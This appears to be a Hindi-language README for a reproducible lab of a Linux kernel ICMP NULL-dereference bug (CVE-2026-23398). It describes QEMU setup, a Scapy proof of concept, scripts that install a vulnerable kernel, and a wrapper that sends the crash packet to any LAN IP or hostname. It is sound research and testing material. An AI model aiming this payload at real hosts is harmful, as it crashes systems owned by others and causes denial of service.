
प्रजनन योग्य प्रयोगशाला CVE-2026-23398 के लिए, जो icmp_tag_validation() में Linux कर्नेल NULL डीरेफरेंस है, जो ICMP फ्रैगमेंटेशन नीडेड पैकेट द्वारा ट्रिगर होता है, जिससे सेवा से वंचित (denial of service) होता है। इसमें QEMU VM सेटअप, Scapy PoC, और पैच किए गए तथा कमजोर कर्नेल के परीक्षण के लिए स्क्रिप्ट शामिल हैं।
ip_no_pmtu_disc=3)icmp_tag_validation() में Linux कर्नेल बग के लिए प्रतिलिपि योग्य लैब (NULL डीरेफरेंस जब net.ipv4.ip_no_pmtu_disc = 3 हो और एक Fragmentation Needed ICMP आता है जिसका उद्धृत आंतरिक IPv4 हेडर inet_protos[] में बिना हैंडलर वाला प्रोटोकॉल नंबर उपयोग करता है)।
केवल अधिकृत उपयोग: केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है। प्रभाव सेवा अस्वीकार (कर्नेल पैनिक) है।
| घटक | उद्देश्य |
|---|
QEMU (qemu-system-x86_64, qemu-img) | पीड़ित VM |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init और इमेज डाउनलोड |
| Docker + Docker Compose | होस्ट से ICMP भेजने वाला (host नेटवर्क मोड) |
| OpenSSH क्लाइंट | SSH स्वचालन |
SSH कुंजी ~/.ssh/id_ed25519.pub या id_rsa.pub में, या sshpass | पासवर्ड टाइप किए बिना गेस्ट लॉगिन (कुंजियाँ अनुशंसित) |
| sudo | केवल TAP मोड (होस्ट से VM के निश्चित IP पर ICMP) |
होस्ट पर Python 3 और Scapy केवल तभी आवश्यक हैं यदि आप रिमोट पेलोड के लिए Docker का उपयोग नहीं करते हैं।
├── send_frag_needed.py # Scapy PoC (ICMP 3,4 + असामान्य प्रोटो के साथ आंतरिक IP)
├── send-payload-to-host.sh # अपने नेटवर्क पर IP/होस्टनाम को पेलोड भेजें
├── docker-compose.yml # "sender" सेवा (host नेटवर्क + CAP_NET_RAW)
├── Dockerfile
├── vm/ # डिस्क, cloud-init सीड्स, QEMU सीरियल लॉग
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP सीड (usernet मोड)
├── build-seed.sh # स्टैटिक 192.168.76.2 सीड (TAP मोड)
├── vm-start-usernet.sh # QEMU + यूज़र नेटवर्किंग (SSH पोर्ट 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (tap-up.sh के बाद)
├── tap-up.sh / tap-down.sh # होस्ट पर TAP इंटरफ़ेस (sudo)
├── run-lab-usernet.sh # पूर्ण प्रवाह: इमेज + VM + गेस्ट पर Scapy (हालिया कर्नेल)
├── run-lab.sh # TAP प्रवाह + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # अनपैच्ड mainline 6.12 + veth PoC (पैनिक)
└── poc-veth-netns.sh # गेस्ट के *अंदर* चलाएँ (veth + netns)
QEMU यूज़र नेटवर्किंग होस्ट-उत्पन्न ICMP को गेस्ट तक विश्वसनीय रूप से नहीं पहुँचाती। स्वचालित प्रवाह Scapy को VM पर स्थापित करता है और स्क्रिप्ट वहाँ चलाता है। एक वर्तमान Ubuntu कर्नेल आमतौर पर पैच किया हुआ होता है: आपको "Sent 1 packets" दिखेगा लेकिन कोई पैनिक नहीं।
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# पहली बार: Ubuntu Noble cloud इमेज डाउनलोड करें, ओवरले, सीड, QEMU शुरू करें, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (यदि आप पासवर्ड प्रमाणीकरण पर निर्भर हैं तो पासवर्ड lablab)।./scripts/vm-stop-usernet.shvm/serial-usernet.logCVE फिक्स मार्च 2026 में आया। एक पुराना mainline बिल्ड (जैसे 2024-11 का 6.12.0) उस फिक्स को शामिल नहीं करता। स्क्रिप्ट उन .deb पैकेजों को VM में स्थापित करती है, रीबूट करती है, और veth + नेटवर्क नेमस्पेस का उपयोग करके PoC चलाती है ताकि ICMP एक वास्तविक ingress पथ का अनुसरण करे (केवल गेस्ट के अपने लूपबैक/इंटरफ़ेस IP पर भेजना पर्याप्त नहीं है)।
चेतावनी: यह आमतौर पर कर्नेल पैनिक में समाप्त होता है; SSH प्रतिक्रिया देना बंद कर देता है।
# usernet VM चल रहा है (या run-lab-usernet.sh ने इसे एक बार बना दिया है)
./scripts/vm-start-usernet.sh # यदि पहले से नहीं चल रहा है
./scripts/install-vulnerable-mainline.sh
| संकेत | पैनिक हुआ (कमजोर 6.12 पर अपेक्षित) | पैनिक नहीं हुआ |
|---|---|---|
| "Running PoC …" के तुरंत बाद SSH | हैंग या Connection timed out / Connection reset | सत्र अभी भी काम करता है; आपको शेल मिलता है |
send_frag_needed.py आउटपुट | SSH मरने से पहले आपको . Sent 1 packets. दिखना चाहिए (लिंक तुरंत गिरने पर अक्सर कट जाता है) | Install Scapy: pip install scapy → गेस्ट पर Scapy गायब था; ICMP कभी नहीं भेजा गया। install-vulnerable-mainline.sh दोबारा चलाएँ (यह python3-scapy स्थापित करता है) या VM पर sudo apt install -y python3-scapy चलाएँ और PoC दोबारा चलाएँ |
| सीरियल लॉग | tail -f vm/serial-usernet.log में Kernel panic, icmp_unreach, CR2: 0000000000000010, आदि दिखता है | कोई पैनिक लाइनें नहीं; गेस्ट चलता रहता है |
| QEMU प्रक्रिया | अभी भी चल रही है लेकिन गेस्ट OS रीबूट तक मृत है | गेस्ट पोर्ट 2222 पर प्रतिक्रिया देता रहता है |
नई डिस्क नोट: यदि आप केवल prepare-disk.sh + vm-start-usernet.sh चलाते हैं (run-lab-usernet.sh नहीं), तो गेस्ट में install-vulnerable-mainline.sh इसे स्थापित करने तक (या आप इसे मैन्युअल रूप से स्थापित करते हैं) python3-scapy नहीं हो सकता है।
पैनिक के बाद — साफ रीसेट:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# वैकल्पिक: पैकेज पुनः स्थापित करें / install-vulnerable-mainline.sh दोबारा चलाएँ
गेस्ट 192.168.76.2 और होस्ट TAP पर 192.168.76.1 का उपयोग करता है। ICMP वास्तविक LAN की तरह व्यवहार करता है।
./scripts/tap-up.sh # sudo: icmp-lab-tap0 बनाता है
./scripts/prepare-disk.sh
./scripts/build-seed.sh # cloud-init में स्टैटिक एड्रेसिंग
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# VM पर: sysctl -w net.ipv4.ip_no_pmtu_disc=3 और पैनिक चाहिए तो कमजोर कर्नेल
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh इसका कुछ भाग श्रृंखलाबद्ध करता है (TAP + Docker आवश्यक)।
सुविधा रैपर (hostname → IPv4 हल करता है, Docker पसंद करता है, अन्यथा sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # एक बार
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Docker के बिना:
sudo pip install scapy # यदि आवश्यक हो
sudo ./send-payload-to-host.sh 192.168.1.50
इस CVE के लिए महत्वपूर्ण लक्ष्य शर्तें:
net.ipv4.ip_no_pmtu_disc = 3 (हार्डन्ड PMTU मोड)।यदि कर्नेल पैच किया गया है या sysctl 3 नहीं है, तो आपको पैनिक नहीं दिखेगा; पैकेट अभी भी वायर पर प्रसारित हो सकता है।
| चर | विवरण |
|---|---|
ICMP_LAB_TAP | TAP डिवाइस नाम (डिफ़ॉल्ट icmp-lab-tap0) |
ICMP_LAB_HOST_IP | TAP पर होस्ट पता (डिफ़ॉल्ट 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet SSH पोर्ट (डिफ़ॉल्ट 2222) |
ICMP_LAB_SSH_HOST | SSH होस्ट (डिफ़ॉल्ट 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (mainline पर कमिट 614aefe56af8e)3 का परिचय: कमिट 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| लक्ष्य | कमांड |
|---|---|
| पहली बार usernet लैब | ./scripts/run-lab-usernet.sh |
| usernet VM शुरू / रोकें | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| कमजोर कर्नेल + PoC (पैनिक) | ./scripts/install-vulnerable-mainline.sh |
| पैनिक के बाद डिस्क रीसेट | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| LAN IP/होस्ट को पेलोड | ./send-payload-to-host.sh <IP|hostname> |
| Docker sender इमेज बनाएँ | docker compose build |